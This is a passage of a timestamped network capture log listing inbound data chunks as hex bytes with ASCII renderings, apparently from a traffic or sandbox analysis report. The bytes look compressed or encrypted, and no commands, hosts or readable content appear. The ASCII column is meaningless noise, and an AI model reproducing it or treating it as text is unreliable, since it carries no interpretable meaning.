2f de b5 fe 89 61 8c fd 0c 09 93 c0 Data Ascii: .NMV{{!r2cxu3a/uucC.F3i;7=j^tj?cK@Zf;I>>m62~Ow8@.@\8sBO!s5&i+O}_i5T_\|MK~C2Fsa.RC`!.o<$doi"yV/a
2021-09-28 07:53:17 UTC	34	IN	Data Raw: ee 7b 5c 8c 4b 11 b2 e2 01 9d a5 d2 52 8b 8f 87 8b 67 72 22 4f df 83 f4 d9 d7 4f 32 d4 23 56 93 10 59 70 b0 56 ad 87 f0 09 0b 1b b4 0a 71 c3 5c cf 8e e9 87 e6 f6 b4 18 17 e9 4c c7 1a b0 94 f4 36 77 c5 a1 a0 d6 5b a1 50 02 cf 15 51 61 9c c9 a6 27 05 5c fa f0 68 65 81 d9 9b 03 e3 41 2d 3f 8f 74 e4 b4 76 c5 22 2f 34 ea a6 d0 e1 77 24 09 24 13 4b 3b d4 01 4b 28 84 bd 48 0e 4f bb 33 e6 f3 5c 58 c5 4a dd 65 d9 72 5c 4c f7 a3 5f b5 9f b6 82 dc fe be 09 49 fe b2 40 2c 4a 17 2f 48 6a b2 13 a9 5e 1c 27 b8 ea 25 98 05 cb a6 7e c4 71 b5 11 bd 9b 8d 01 8b 0b 54 55 05 81 6e 10 62 a5 5a 6f 6d ce 77 e4 66 94 b0 96 e5 3a d1 aa d4 cd 56 32 6d e1 b0 32 1b 57 66 45 e2 59 68 c5 da a3 c1 53 0c a8 54 00 b8 73 73 f8 c0 82 c8 44 dc 1f d1 f5 24 b8 27 cc 2c 65 8d b7 c7 0b b0 0f 1a Data Ascii: {\KRgr"OO2#VYpVq\L6w[PQa'\heA-?tv"/4w$$K;K(HO3\XJer\L_I@,J/Hj^'%~qTUnbZomwf:V2m2WfEYhSTssD$',e
2021-09-28 07:53:17 UTC	38	IN	Data Raw: 70 19 70 20 16 3e a8 81 94 5d 31 55 b3 6a ae 7b 45 84 38 fa e0 6d 8f 65 8f 51 6c 5d 35 30 22 c3 53 2e 75 cc d5 72 84 44 07 cc 49 e5 1d 95 c3 50 f5 7a 83 a3 0e 8a 42 7c 1b 8f 4a 37 7e 4b 70 b0 7d 34 e1 47 bf cb 36 de 62 68 0d 82 eb f7 c6 7c b9 bf 22 3a 64 4e 14 cb f8 08 d3 1f d3 d9 46 bf 99 1e 68 19 d9 61 fd 7b 57 a6 43 9e 93 b4 04 92 25 d4 7f bd e1 46 9d 69 1f 2f 55 ef 4c 02 7c c0 fd 60 f3 5f e2 fd 81 5a 35 c2 2f 0f f2 0f b7 86 a1 5e c8 e7 81 8c 2e c6 b8 a3 bc c9 8f 04 5a 4d b2 44 1b 32 3f 61 a4 24 2b cf 3a 83 68 32 fa 9f 28 82 d4 bc b7 10 7b 4d 0e 79 09 23 f3 28 97 f1 52 13 a6 c4 32 a1 c2 3e 57 10 d8 5e c8 cd eb 55 10 6d b7 71 d2 e8 2e 31 58 b9 5a 61 38 7d 26 69 36 75 04 11 28 14 a6 4e 0b 8c cc 2b 41 7a ac 98 8d 1d aa 48 28 3e b0 11 64 9b 14 9e dc d7 f2 Data Ascii: pp >]1Uj{E8meQl]50"S.urDIPzB\|J7~Kp}4G6bh\|":dNFha{WC%Fi/UL\|`_Z5/^.ZMD2?a$+:h2({My#(R2>W^Umq.1XZa8}&i6u(N+AzH(>d
2021-09-28 07:53:17 UTC	42	IN	Data Raw: cf ca e4 c3 fa c7 1b 1d 4e c6 15 80 3e 9a 04 cc 3e 27 24 c6 5c 55 8b b7 68 71 80 58 5d 55 3f 60 a9 27 b9 e6 5c f0 a5 26 b6 f9 1d 87 b5 e2 b2 64 fb b6 63 ab 17 63 24 05 d5 02 d0 4f 79 2c 4c dd 4b 85 1a 73 9d 14 09 89 db 27 32 e2 e4 ac 1b 44 ef fe 1d d8 6b 74 15 4c 11 88 e9 36 ff ef 68 72 25 86 cc 95 3d 64 3a 24 19 24 7b bc c9 61 ee 8e 9f fe c0 18 25 d9 73 cc b1 51 d8 51 a9 c8 a4 67 a3 d3 81 ce ba a1 f0 a9 e5 f7 d9 ca b2 17 e1 87 71 8c 97 c0 0a 0e ff b2 b8 9a d3 06 0c c4 7d 94 ca 3d b5 fd d5 cd da a1 e6 54 de 64 08 e1 81 a8 9b 2f 3e c4 e0 e5 9a 60 fe fa f9 cd 70 d0 60 19 14 2e 99 9c ec b6 1a 0d bb fc 3a a7 50 b0 8d 44 a2 f2 c7 98 48 4b 2c d7 b4 fa d4 33 cd 39 4b 24 c8 02 d3 d0 f4 77 05 40 2f 68 ab 3d 40 49 b6 c0 a9 82 82 81 ac 61 33 a8 f9 f0 b8 77 85 88 0c Data Ascii: N>>'$\UhqX]U?`'\&dcc$Oy,LKs'2DktL6hr%=d:$${a%sQQgq}=Td/>`p`.:PDHK,39K$w@/h=@Ia3w
2021-09-28 07:53:17 UTC	46	IN	Data Raw: cb 7e bb 36 4c 5c 27 9d d8 4b f9 a2 f3 d0 d0 2b d2 c6 76 e8 fb 5e 2b c2 37 00 ab b9 af 11 1c c5 33 09 c8 7f 2d e9 2c 91 08 51 65 d8 28 db a5 76 47 26 53 9b 25 ac 36 8a c3 a8 93 e2 af ab 8d b1 74 63 44 f8 d3 fc 51 76 5c f4 e5 bd cd e1 94 c5 be 09 56 08 a1 41 de c1 f0 50 83 6f d9 57 24 93 ab c7 93 9b 76 55 40 e4 36 18 2a 70 22 9d 62 55 54 8b 88 19 4a 56 e1 3b 9b 34 c2 41 e7 a9 eb e4 34 e7 ce a5 cc 15 2f 74 29 ea 31 c8 49 97 a0 f1 71 52 69 9e e1 da b6 55 4c 3a dc aa 4c cb 77 ce c0 ef 80 ec 20 a3 9e 68 46 99 98 eb 8d e3 50 92 0a 3b 31 c8 2f e7 cd 22 68 1d c3 d0 a8 2a d5 39 7c d2 d3 9f c8 de fb 24 50 06 91 63 d9 8f 84 d9 dd 8c 92 7b 91 21 07 07 c2 6d d8 db 85 07 87 d4 7d 51 4e c8 d8 04 62 ff b4 20 d7 52 d7 ec c6 7b 1e 27 75 2f 09 a7 40 af d2 d7 b6 a9 2b 83 2b Data Ascii: ~6L\'K+v^+73-,Qe(vG&S%6tcDQv\VAPoW$vU@6p"bUTJV;4A4/t)1IqRiUL:Lw hFP;1/"h9\|$Pc{!m}QNb R{'u/@++
2021-09-28 07:53:17 UTC	50	IN	Data Raw: 32 c0 a3 e4 4e 7c 0a 8c 06 8f b2 1c 59 c1 34 e0 3e 5d 5a 8b 82 16 18 2f d5 1f 01 6b 18 aa dd a6 29 3c 33 61 c6 4b b8 a2 44 d3 de 42 49 35 20 60 2d 99 57 3f bc 50 cb 17 93 cb 30 53 5b f3 23 e0 f9 54 a7 97 e0 c9 ff ac a0 30 f7 e3 78 8f e1 3a 32 6f 62 8f a4 e0 99 68 8b 2f 50 66 91 08 5b 48 1c a2 2b 98 8b b7 b4 cc 00 d5 1f 60 31 b7 8a 9c 91 bd df 18 cb 63 48 ae a3 c9 c0 c5 4a 45 5e 1e 9d c3 d3 72 cc 3f bf 11 a8 14 e7 ff 6d 12 2c 30 3e 3b 84 6b 20 f7 4c 4b 2d 05 dc 9c 16 3d f5 12 38 40 6a 07 f1 6b b8 7d 0e 04 ee 4a b1 54 c8 3e 97 38 b6 fc d2 f9 bc 3a dc 69 e9 5e 6f 00 a2 83 4f 1a 47 67 ea ba 9d 93 f6 98 1b f0 7f c5 92 54 13 a6 72 f3 b1 2d 7c 90 ec 67 0f a6 b0 db 6c 8b e5 7c 88 d2 e2 ce b2 af 43 04 55 02 29 cd 40 6b 61 89 f2 56 87 ca 4f 6b 1e e5 50 15 ca 36 99 Data Ascii: 2N\|Y4>]Z/k)<3aKDBI5 `-W?P0S[#T0x:2obh/Pf[H+`1cHJE^r?m,0>;k LK-=8@jk}JT>8:i^oOGgTr-\|gl\|CU)@kaVOkP6
2021-09-28 07:53:17 UTC	54	IN	Data Raw: f3 86 7e b9 2a 61 67 08 18 d7 71 8f 11 5a 8a 71 c4 6f 79 a5 26 ed 83 a0 16 37 cf 6d 7e 53 71 44 a7 df e1 60 19 ee cc c5 da 50 6e 30 3c 1a 2b fa b0 4c 2e 3b b2 07 d0 8c c1 65 e1 09 51 8c b0 49 cd 76 cc 34 4a 78 40 67 22 72 3d 0f 2c e4 13 91 13 90 26 a5 21 14 79 8f 91 e8 7f 38 4b 5f 18 3a 6a 02 c4 f7 67 3a 08 ac 02 2f 89 be 0d bb 2a 4b 79 57 d7 9e cd af da bc 4c f7 ad 37 a7 22 cd c5 86 69 6d f4 f3 9b 60 45 25 6b 7f 05 60 3d 09 9a 23 78 7e bf 12 b7 09 89 62 cf c6 cf 74 96 c1 ab 85 3a 85 e1 cc 2e 9c 1a 7a d6 58 cc 33 9f cf 14 6b 25 c0 e9 c4 78 96 1d c9 5d 7a 53 30 85 8f 5a 4e 03 8a 03 49 db 14 0d b2 aa aa d9 50 4a bd 3b ef 01 f2 f2 e7 d8 ea e0 c0 c1 fb 67 6d ba e5 e9 49 59 ad 8b 51 68 41 d7 b4 04 a2 ea c1 56 7e 1a 73 38 fd 1e b5 d3 4f ba ad e9 94 dd 51 43 e1 Data Ascii: ~agqZqoy&7m~SqD`Pn0<+L.;eQIv4Jx@g"r=,&!y8K_:jg:/KyWL7"im`E%k`=#x~bt:.zX3k%x]zS0ZNIPJ;gmIYQhAV~s8OQC
2021-09-28 07:53:17 UTC	58	IN	Data Raw: c5 ae 3c d7 18 51 85 21 57 6d 9e a8 b0 55 d9 0a 33 7d 67 10 f4 33 04 ac 1a eb ae b6 6c 88 7c 55 c0 ee 58 d2 66 66 15 40 26 fc 9e b3 3d 37 61 06 90 71 ae 76 40 ec fc e0 dc 27 85 72 61 cf 7d f3 56 2d 31 cc b0 01 66 60 49 75 a8 83 f8 2d ef 38 06 42 ae 32 7a fa 37 d9 cb e3 58 73 8d 4e 1f 25 1c 41 7a 36 9f 4f 95 37 cf 5f ac b8 59 0a 5c 0f 83 b0 bd d9 c6 86 b6 16 8c 65 53 f0 17 3d 41 d2 e3 94 46 7f d9 76 61 72 9e 2a ae cf ee 36 f8 50 b1 4d a3 c1 e8 39 30 00 c2 83 f2 c8 48 52 92 6c 71 72 ea 1d 64 c7 ec d0 5e dc ee 82 34 53 3e 1d ad d5 fa c7 13 41 86 67 d6 15 bb c8 15 5c 8a 77 c4 4f 5c 1e 62 e7 58 53 eb c6 1d 28 b3 b2 82 00 fb 18 b8 42 47 8a e7 ea 5b eb 47 b3 6d 4c 85 db 21 1c 6b 33 09 69 a0 7d c4 69 91 c8 20 9f 14 bc 5b 82 d1 49 2a 10 04 b6 ad 21 bb c0 42 f9 84 Data Ascii: <Q!WmU3}g3l\|UXff@&=7aqv@'ra}V-1f`Iu-8B2z7XsN%Az6O7_Y\eS=AFvar6PM90HRlqrd^4S>Ag\wO\bXS(BG[GmL!k3i}i [I!B
2021-09-28 07:53:17 UTC	62	IN	Data Raw: f8 b3 fe 14 3a 6e 00 76 a9 62 a7 20 ed f9 73 7f 6a 0b 37 81 68 5f 25 c2 22 e6 55 5d cb a1 97 36 f4 f0 4f 62 60 29 9a e5 53 6b f3 16 e3 ef f3 f1 44 d1 d8 27 55 04 ff 0a dc 09 20 aa 0d d2 64 73 67 ac 41 9a a7 9c 72 cf 90 27 3c c6 b0 c1 52 57 67 32 9b 15 9e fd 6f 63 32 7c 68 b3 c5 8e 18 72 04 bc 0d dc 8e 2e 41 42 42 ed a4 7f df 80 34 11 8b a9 93 cb bf 70 81 c7 68 d8 85 bd 10 7f 0e 30 da 2f 85 10 1e cf 61 39 a3 cd b5 5f d1 d0 59 3b ad f1 e6 68 ae b0 f2 8f 7f 93 a9 93 96 5a a5 d1 53 8b 6b 7b 97 c7 32 41 99 38 db fe b5 93 8d 10 24 d1 30 fa 17 67 cf 89 67 b3 eb 82 b2 d0 d2 df 34 39 4f f7 91 f6 53 66 4b 1a fc 67 a9 80 68 5e f5 95 5e 71 e7 75 b1 00 97 98 0a 7e d6 d6 b6 59 1c 3a 55 23 07 03 2e 5a 5d da 6b c2 6d fb 31 48 c2 30 b7 d0 d3 ab f7 32 7b 1f f1 52 37 f5 8e Data Ascii: :nvb sj7h_%"U]6Ob`)SkD'U dsgAr'<RWg2oc2\|hr.ABB4ph0/a9_Y;hZSk{2A8$0gg49OSfKgh^^qu~Y:U#.Z]km1H02{R7
2021-09-28 07:53:17 UTC	66	IN	Data Raw: 22 70 97 87 7a 4c 48 45 a7 78 dc f6 c7 2b 51 bd 67 ee e4 ba 33 4f 62 79 cb 83 b7 29 7e ad 3d 53 74 3b 6b cc 4a df 93 ac 74 34 ae 82 33 7d ab 76 b7 9d 1d 99 97 33 34 eb db d6 38 6e 7a d8 fa f0 e9 3c c2 8a f2 38 8e 17 f2 ef b6 f4 8e 85 d7 2d 0a 2d 65 af e9 3e 18 20 a5 c6 f5 e5 ad 14 92 db 38 1b 62 f4 36 a0 a3 f4 e2 de 99 62 c2 80 25 32 9b 38 29 15 06 89 6f 93 75 31 90 50 2b 63 c4 f4 03 ce 31 00 61 ea 8c 76 42 7b 3d a3 15 39 fa da 01 d7 9a 07 07 6c c4 1f a8 91 8f d4 42 29 70 c4 ac 81 6c cc 2e f3 d7 70 bb d3 80 23 7e 50 c5 04 c2 eb fd f9 f5 bd de 05 f0 6b 0f 7d 63 b6 73 fd 06 2d 54 66 35 51 78 40 a7 4f 54 d6 19 47 01 21 95 4f 76 f3 9b 83 9e c8 87 20 a4 45 16 28 77 26 97 5c ff 9e 27 f3 0e 66 91 8d 32 3e 3e 56 3d 7e 41 ae 9d 57 99 e0 94 80 59 f7 c2 52 b6 2f 51 Data Ascii: "pzLHEx+Qg3Oby)~=St;kJt43}v348nz<8--e> 8b6b%28)ou1P+c1avB{=9lB)pl.p#~Pk}cs-Tf5Qx@OTG!Ov E(w&\'f2>>V=~AWYR/Q
2021-09-28 07:53:17 UTC	70	IN	Data Raw: 40 ec 05 a2 2f 3e f0 06 56 59 dc 7e 4d 48 80 53 dc b2 c5 17 3f 84 b4 fc d0 74 0b 04 60 6f fe 17 fc 38 20 0f d3 8a 77 13 ac 76 d0 f2 e4 51 5d eb c4 56 b8 70 aa bc 79 0a 54 4f fa cb dc 00 6f 48 23 c7 36 7c a5 59 45 f2 42 b9 43 bc 31 6c 8a c2 c7 87 c3 4c 3e 8f be bd 56 84 fc c7 aa 50 69 36 bd a2 3a 0a 43 80 e6 91 3f 14 af cb a6 20 f5 95 fb 48 22 b8 dc 5e 47 89 fd ef da aa 37 91 a0 a6 05 39 ff 34 dc 8e 14 5c 5b c1 3d 11 a1 b8 a2 da 9f 5d 34 a0 49 56 4d b8 5f b3 76 28 86 01 c4 4e cb 1e e9 4f 79 69 a2 d3 d6 c0 c6 1f e7 4b 19 e2 a5 d1 7e aa 35 76 75 a3 3a 65 85 3f 68 c2 0c e7 2d 40 97 02 0e 73 b3 83 98 40 8d 1a 56 f5 21 d2 49 50 2f a8 48 e9 2b 8b 29 e8 ec ad 3a f4 6d df 0d 30 92 45 f7 1a d8 38 fd 4d 86 d1 4a 33 b8 27 c5 bc 35 81 cc 09 6e 1f 4f c4 e8 ed 0a 09 35 Data Ascii: @/>VY~MHS?t`o8 wvQ]VpyTOoH#6\|YEBC1lL>VPi6:C? H"^G794\[=]4IVM_v(NOyiK~5vu:e?h-@s@V!IP/H+):m0E8MJ3'5nO5
2021-09-28 07:53:17 UTC	74	IN	Data Raw: 7f 74 3e 43 e6 31 06 60 a4 77 7f 22 99 5d ca 6d 47 e7 35 96 11 d5 0c f2 d6 85 96 59 3a 69 ab 47 b0 dc 04 95 b6 86 6f 74 be fe 34 57 6e 5c 97 33 80 ec 5a 3a d3 b7 e0 12 d1 ff 51 02 45 12 1b 92 84 72 de 85 1a 45 dc 19 b2 e3 e5 f2 ba 86 e8 83 c1 30 fd 56 32 78 a4 91 ab d7 ef 8c 02 68 19 3a d5 9b 04 37 ff 86 2f 0b a1 03 01 85 1c 2b 1f 25 16 61 5e f8 89 06 e5 c8 19 aa 4f 90 6a e5 9c 60 ce fb 4b e6 e0 b1 f1 b1 ae a4 fc e5 08 93 b0 71 07 d2 85 f4 02 e1 78 a1 7b 28 e2 af aa 87 59 41 36 c3 7f dc a3 a3 07 c8 7b f5 c2 66 8a 9d cd 37 3a ec 55 11 eb c2 4d f8 09 7c a1 07 ac 9e 8d 02 98 8a f4 df 17 fe 89 68 c9 20 b2 4b 4b 75 a2 23 bc e1 c2 23 c5 cb 19 c2 13 43 07 c2 cc 72 72 04 9e fa 7e 5e 5f 6e 9b be ff b8 4e 5a 8c 5c 82 73 f1 6e 30 59 72 28 8e 69 77 57 70 19 14 dc e4 Data Ascii: t>C1`w"]mG5Y:iGot4Wn\3Z:QErE0V2xh:7/+%a^Oj`Kqx{(YA6{f7:UM\|h KKu##Crr~^_nNZ\sn0Yr(iwWp
2021-09-28 07:53:17 UTC	78	IN	Data Raw: c1 6e b0 65 71 d5 70 56 f8 2d 26 cf a3 b8 03 2e 45 aa 22 05 85 14 36 c6 c1 02 bd 0d d5 5f e0 5e 39 af 70 70 b1 1f 6b 5b e4 4e 34 fb 5c b9 c0 1d 8a f4 43 8f b8 37 27 1e cb fa 14 54 e5 9c ff 97 cf 17 01 82 3b 04 97 83 a1 46 eb 81 19 12 85 9a 42 b3 df ad fe e9 7d 61 c7 fc d9 98 53 e1 b7 ad f6 64 2c e8 02 a0 50 29 2e e5 9f 22 f9 c2 85 96 7d 8c 44 7c 2a 54 55 c2 4c a4 c6 43 79 6b c4 cf dd 1d 38 f4 83 8f e3 1e 32 70 58 53 c9 71 8b 82 06 44 f8 a0 1d 77 66 74 4e 30 e6 fb 05 09 b9 5b 4b ed 7c f8 28 83 d4 1b e7 74 f2 6f 9a 64 9b 8e 7d 33 d5 72 56 2c b2 89 35 3e 50 b7 4f dd 7c b8 5e 88 b9 8f 23 5e 2f af 6d 8c c9 2f 95 76 d6 37 fc b8 7b b5 31 78 10 7d 30 c6 1b 4e 8c 91 71 1e e7 4b 14 4f 27 d9 c3 c4 88 16 13 53 c0 8b f4 ed 03 07 43 af de 53 24 d2 0e a5 93 a8 3c 4c 3a Data Ascii: neqpV-&.E"6_^9ppk[N4\C7'T;FB}aSd,P)."}D\|*TULCyk82pXSqDwftN0[K\|(tod}3rV,5>PO\|^#^/m/v7{1x}0NqKO'SCS$<L:
2021-09-28 07:53:17 UTC	82	IN	Data Raw: 42 ac dc fc 29 32 10 6e d9 36 ab 55 72 a3 df 94 b4 19 ad 68 1c 46 01 9a e1 d8 7d bf 07 51 b1 8d 61 71 46 03 56 0b 11 eb a6 8f 00 b8 75 9d a1 2e d9 c7 f8 64 44 e7 b3 ae 83 d2 d6 83 68 ff 1c 41 d6 63 6b 65 ac d5 84 68 fb 8a 45 07 a0 54 f2 61 b8 bf 53 73 cd f2 36 23 7d f4 b1 69 41 d0 ef 6e ad 6e 60 fc d2 d6 b3 18 f8 6f 60 f7 5a a4 4f 0c 4d 66 9e 94 7e 6b b7 fe 0a 33 4b e9 6a 8d 6d ba 18 a7 34 55 ff 6a cc 14 4e 94 47 3c d4 30 83 2a cf 24 65 a8 18 ce 9e b5 e3 f7 b2 bb 31 fc 0b 09 10 cd a0 40 40 2f f0 bc dd 17 c4 a1 c0 5c b9 09 0a 93 b8 e8 62 4f e8 25 34 de 6d 3e 03 f4 97 d7 cd 88 f4 7c 27 3d 1f a6 ce 42 6f 90 0c 85 0e e0 46 6a 8b 50 0b f6 5a 87 71 41 fe 3a 88 09 a5 b7 36 a3 61 49 bd fc 06 17 c2 d3 39 7b 1d fd b2 6a e8 61 31 22 2d 0b aa 8c 04 d1 1d de 4c f3 9f Data Ascii: B)2n6UrhF}QaqFVu.dDhAckehETaSs6#}iAnn`o`ZOMf~k3Kjm4UjNG<0*$e1@@/\bO%4m>\|'=BoFjPZqA:6aI9{ja1"-L
2021-09-28 07:53:17 UTC	86	IN	Data Raw: 55 19 37 56 84 4f ae ea 1b ff d8 3c 23 1e ae e5 53 b7 74 ac 2e 3e 0c b1 bc 8a 28 d7 11 e2 13 33 30 aa 3e 46 02 f2 00 2f 20 77 6a 49 46 b5 1e 2c b9 70 34 d2 79 80 d3 57 2a b8 7e 8d 5a a5 eb 85 27 ad dd 63 7d 81 80 be ab 6b cb 40 b6 62 ec 2a 71 6d 1a 2d 59 5d fd eb 7d f4 3d c8 d0 df 48 19 a0 f8 e9 e3 32 c2 09 7c 9c 6f 47 73 5f 40 5f 66 02 34 6f 63 4d a8 1e da da 5b 86 b2 86 ae f2 dd 93 17 72 01 79 c6 3a 02 30 92 dc 27 e8 22 ba 02 1c 10 0e 02 ef dc d4 cc e7 fa 9b 4d d6 bf ac 3b 50 f5 c0 e0 7d bd 6c f5 ee 48 a4 fd 08 3e 0f da b4 2d f7 88 a0 d3 e7 a3 c1 f6 a6 94 95 b6 b0 be 7a ce c9 b6 a9 2d 6a 74 f1 89 f9 48 5e c5 3b dc 82 5b e2 04 81 9d a1 08 d2 f2 1e 1d aa 28 5d ac 5d a7 8e 9b f1 76 6b 60 c1 1e fe 68 a8 c3 7c 9e 27 cc 80 7f 37 bd e9 51 4a a4 fc d3 90 f6 be Data Ascii: U7VO<#St.>(30>F/ wjIF,p4yW~Z'c}k@bqm-Y]}=H2\|oGs_@_f4ocM[ry:0'"M;P}lH>-z-jtH^;[(]]vk`h\|'7QJ
2021-09-28 07:53:17 UTC	90	IN	Data Raw: e2 91 f5 15 07 dd 91 35 d6 1f 05 3b 2d 99 3e 5e 22 26 21 18 be 16 f2 ec d0 42 c6 ad ac 2c 46 c0 c4 3a d7 bc 01 cf 9f d2 8b 9a 8e 1f ea ea 72 ff ce 00 83 0c 19 56 60 5e 08 95 7b 46 c5 d4 99 1c b8 56 09 0d de 74 ea 1e 9e 58 c2 d2 05 98 c0 7a 78 8a 2c 3e 69 b5 79 b8 15 e4 e6 62 72 6e dc 84 9a 2f 18 ad 63 6b da 07 d7 52 b4 2b 23 9e 37 02 12 06 11 e3 1a 08 be be 5a e5 df 32 0c de 23 f0 6b 6c f2 c8 b8 a0 c1 08 d5 ce 56 73 39 dc 79 7b d9 df 95 c3 1a 1d f3 50 e5 2f 4d 0d 03 65 db 41 a8 be 71 83 8b 3b 5c 0b 16 38 d6 c9 21 3e 36 ac f0 3b 2c 6c 4f c1 a0 74 1a 27 24 76 6a 03 b9 17 82 c5 32 cf 4c 20 1f 86 fa 31 bf af bf e0 5c c5 c2 00 0f ab ac b0 bc af 5f 7c d9 14 aa ee 66 aa d0 20 0c ca 3f a6 4b 63 72 a4 77 24 2d ea 34 ac 69 20 b0 ab 53 44 59 4f f2 51 ef 54 a2 94 04 Data Ascii: 5;->^"&!B,F:rV`^{FVtXzx,>iybrn/ckR+#7Z2#klVs9y{P/MeAq;\8!>6;,lOt'$vj2L 1\_\|f ?Kcrw$-4i SDYOQT
2021-09-28 07:53:17 UTC	94	IN	Data Raw: 13 81 9a 17 93 4a 0a 50 9a 31 18 20 5f 32 47 e8 a4 dd d6 31 ad 56 b4 0f cf d2 fa e7 98 8c bf 46 0e eb 05 f4 cf 8a cb 1e 8c 8b d5 24 29 f6 44 8c 3d 8c 70 22 e2 28 ce 44 cf 37 1f a9 87 39 42 2c 9d 9a 39 47 84 03 55 cc a6 63 40 c9 03 a8 71 dd de e2 07 d0 93 88 64 67 75 be 44 2c fd c9 96 6a 3c b5 48 be 78 ac d0 8c 6c ef d3 b8 9d f7 60 6d a6 b3 e8 6f 71 d7 e8 bb 18 f3 bd 0e f5 ca 12 0c ce 5c 27 f3 50 a2 0e 82 f8 22 03 2d 51 2b 5d 98 de 7a bc 87 28 4f fa 79 e5 3d 66 49 27 09 86 6f 84 47 64 43 d7 5d 50 25 bc f2 91 51 86 60 56 15 36 b9 55 2b e2 06 42 c7 61 cb 04 82 a8 27 12 73 ea fc d9 bb cd 38 10 6e 5f 21 9a 57 39 56 8b c4 19 60 58 cf 31 38 ea e2 4d 30 eb ce 45 4a 63 cc a1 e4 e3 18 a1 f5 5f 36 f3 17 1d 78 6a 6d a0 c7 74 49 b6 5e 16 ea ec ab f2 bd 8c b3 2d b4 22 Data Ascii: JP1 _2G1VF$)D=p"(D79B,9GUc@qdguD,j<Hxl`moq\'P"-Q+]z(Oy=fI'oGdC]P%Q`V6U+Ba's8n_!W9V`X18M0EJc_6xjmtI^-"
2021-09-28 07:53:17 UTC	98	IN	Data Raw: 76 b7 6b b4 06 6f 91 cf 61 7a ae 9e 97 99 d9 7d 11 35 71 03 51 16 c6 97 a8 27 a5 65 35 a6 8b ae b0 e9 c9 4c c7 e0 da 0c 80 77 27 04 a7 99 d7 6c e8 14 e1 2a 13 47 64 06 f8 ce 68 8c b6 69 46 73 41 8a 49 5a e2 76 62 e2 5e 05 83 c5 b4 5d 7c ce 76 87 e5 21 56 24 b4 5f 9a 65 00 5f 28 8d 4c ce 3f 90 14 13 39 fe 56 49 d0 38 00 c2 e3 07 aa 87 6e 08 2e 1c c9 db 75 1e 63 d9 b1 5a 31 de 47 a2 85 40 a4 c2 fe 5f 2e f2 8a d9 0f 12 39 3e ce f9 66 3d e2 ac c5 ad 7c 74 09 f3 d8 16 9c 28 80 b3 29 c0 f6 23 61 d1 67 ff 1c ec 41 60 d5 cc 4d 01 a5 30 a8 91 5f f3 45 d9 68 e3 71 dd e6 04 45 b4 fa 05 37 8e 08 d3 e3 6c 86 1d 75 c5 ed 17 78 92 5c 14 4e 0c 0a 9a 57 2c 66 6e 4a d0 e9 bc 67 6c 69 c4 86 51 84 57 08 ae dc 7d 1e 68 84 b7 2e b2 36 54 7f 28 0e e2 10 25 e2 f3 2c d6 c6 d2 91 Data Ascii: vkoaz}5qQ'e5Lw'l*GdhiFsAIZvb^]\|v!V$_e_(L?9VI8n.ucZ1G@_.9>f=\|t()#agA`M0_EhqE7lux\NW,fnJgliQW}h.6T(%,
2021-09-28 07:53:17 UTC	102	IN	Data Raw: 17 cd 5b ee f8 4d 23 84 2e 40 0b 8e ba 21 23 3e c5 65 e5 33 b0 97 82 cc d0 3b 74 76 fb bf 75 7c af 90 bf 96 2f 61 08 8d d1 43 04 b5 d5 fa 9b 3f 12 e3 88 d7 8c 80 7c 4c 25 ae f8 8b 0c c2 10 ae dc 38 11 ab 26 1c 64 f2 e3 02 2b 30 77 2e 6f 67 22 7e 33 c0 4d 23 c5 33 52 7d 75 b6 70 d5 d0 4e 16 90 b9 24 d3 d3 e6 1b 0e dc 10 65 07 52 69 bc 66 82 07 31 a3 7b 26 7c 62 63 6e 1b ac 5f 37 97 90 40 88 8e 79 ea 8a 00 c6 7f 88 32 a9 8e 0a 98 71 38 e9 d5 47 d9 ec fe d0 1b ca 5a b8 b9 0a c4 fa 75 a2 3d 43 d8 db 7f d6 ed 02 2c 5a 59 d6 5e 7f 31 56 21 df be 07 7d 18 d0 75 40 5d ff d2 56 09 15 6c 5f 07 98 34 74 8a a7 17 44 8a 06 c7 b3 92 68 b7 88 de d4 b4 3b f9 61 20 a0 21 44 8a 75 c1 29 94 e4 34 82 36 e9 30 94 8d b0 1f a7 c1 a0 30 13 dd 15 f9 3f da e6 1a f4 57 9a 81 1c e6 Data Ascii: [M#.@!#>e3;tvu\|/aC?\|L%8&d+0w.og"~3M#3R}upN$eRif1{&\|bcn_7@y2q8GZu=C,ZY^1V!}u@]Vl_4tDh;a !Du)4600?W
2021-09-28 07:53:17 UTC	106	IN	Data Raw: 82 31 df 16 2c 1c 9c 93 5f b2 8c ea 5b ba 7a 75 35 0a 29 e7 1c de 68 bb 2b 30 84 07 ed ac 6b ed 32 13 4d df f8 fd 08 c0 58 fd d2 ad 7e 41 4c cc 80 56 39 c6 1f 93 40 20 41 1a f6 ab 73 d3 6e 2c b1 d2 7d 1b b8 ba b7 37 6c 0d af 4b de 88 75 06 7a 28 c5 e6 a6 93 8a d7 13 9b 91 33 b5 e4 5b 3c ba 3d ec b7 00 8b 2e 07 fe a9 5b 12 08 01 7e 6a df a2 b8 4e 0b 28 c7 9a 95 bd 72 ff ff 9e 0c 26 c3 17 d3 8c f0 d9 c4 66 0a 01 9d d6 ad 01 6f 04 6f 24 07 bd b8 c4 6c 75 4b 8e c6 f8 85 f8 65 4b d1 86 d6 81 0d e8 cb 49 77 b7 3d 79 1a 97 dd 21 62 e3 61 8c 1f fe df 88 33 36 d6 10 98 28 40 ad 72 13 c5 05 2b 43 58 0f 01 43 3c 87 e5 c8 fa bb 28 c6 83 df 15 b4 85 b9 47 0a ac 25 93 4c d6 00 72 da 97 54 80 3f 48 a4 e5 5c 87 c9 46 5b 6a 9f 53 64 bc 74 3f c3 98 86 e6 60 09 1e 10 ea e5 Data Ascii: 1,_[zu5)h+0k2MX~ALV9@ Asn,}7lKuz(3[<=.[~jN(r&foo$luKeKIw=y!ba36(@r+CXC<(G%LrT?H\F[jSdt?`
2021-09-28 07:53:17 UTC	110	IN	Data Raw: 90 69 c1 62 c4 d7 c7 db d4 3a 8f 02 e6 89 f7 84 80 6d eb 1b 01 6e e3 d5 40 59 7a 8e c2 bc 68 67 68 0a 30 f0 1d d6 e5 aa bb 3e 17 8e 8f 54 a3 51 88 01 2f a1 d0 7e e9 22 06 f7 71 07 55 cb 0e e7 76 b2 e5 7c e8 df b8 34 1d 14 23 a6 40 ae 76 ce 5c e5 db 2c 36 40 8c d3 26 ae 1f d3 52 54 f5 63 e7 81 2b 69 93 77 91 9c c3 e6 94 c0 32 a5 8b b9 2c ac 03 99 38 6d 07 83 eb 34 15 d2 5a b2 78 91 80 9d 69 cc 70 6f 5b 17 6b 7b 51 a1 46 33 3e d3 7c 30 a2 e5 4a 54 fa 9c b9 da 17 36 40 83 36 94 28 73 9f 8d b4 ce 4f 92 40 a2 00 67 02 66 df 20 a6 e5 44 c1 